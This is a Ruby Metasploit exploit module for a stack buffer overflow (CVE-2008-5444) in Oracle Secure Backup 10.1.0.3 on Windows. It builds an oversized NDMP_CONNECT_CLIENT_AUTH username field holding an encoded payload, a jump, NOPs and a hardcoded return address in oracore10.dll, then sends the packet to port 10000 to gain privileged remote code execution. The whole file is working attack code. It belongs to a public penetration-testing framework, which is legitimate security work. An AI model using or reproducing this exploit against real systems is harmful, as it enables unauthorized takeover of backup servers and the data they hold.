##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::NDMP

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow',
        'Description' => %q{
          The module exploits a stack buffer overflow in Oracle Secure Backup.
          When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,
          an attacker may be able to execute arbitrary code.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2008-5444' ],
          [ 'OSVDB', '51340' ],
          [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],
        ],
        'Platform' => 'win',
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 1024,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
        },
        'Targets' => [
          [ 'Oracle Secure Backup 10.1.0.3 (Windows 2003 SP0/Windows XP SP3)', { 'Ret' => 0x608f5a28 } ], # oracore10.dll
        ],
        'DisclosureDate' => '2009-01-14',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(10000)])
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    ndmp_recv()

    username = rand_text_alphanumeric(3789 - payload.encoded.length)
    username << payload.encoded + Rex::Arch::X86.jmp_short(6)
    username << make_nops(2) + [target.ret].pack('V') + [0xe8, -850].pack('CV')
    username << rand_text_alphanumeric(5000 - 3793 - payload.encoded.length - 8 - 5)

    password = rand_text_alphanumeric(rand(25) + 1)

    # Create the authentication request
    auth = [
      0, # Sequence number
      Time.now.to_i,   # Current time
      0,               # Message type (request)
      0x901,           # Message name (connect_client_auth)
      0,               # Reply sequence number
      0,               # Error status
      1                # Authentication type
    ].pack('NNNNNNN') +
           [ username.length ].pack('N') + username +
           [ password.length ].pack('N') + password +
           [ 4 ].pack('N')

    print_status("Sending authentication request...")
    ndmp_send(auth)

    handler
    disconnect
  end
end
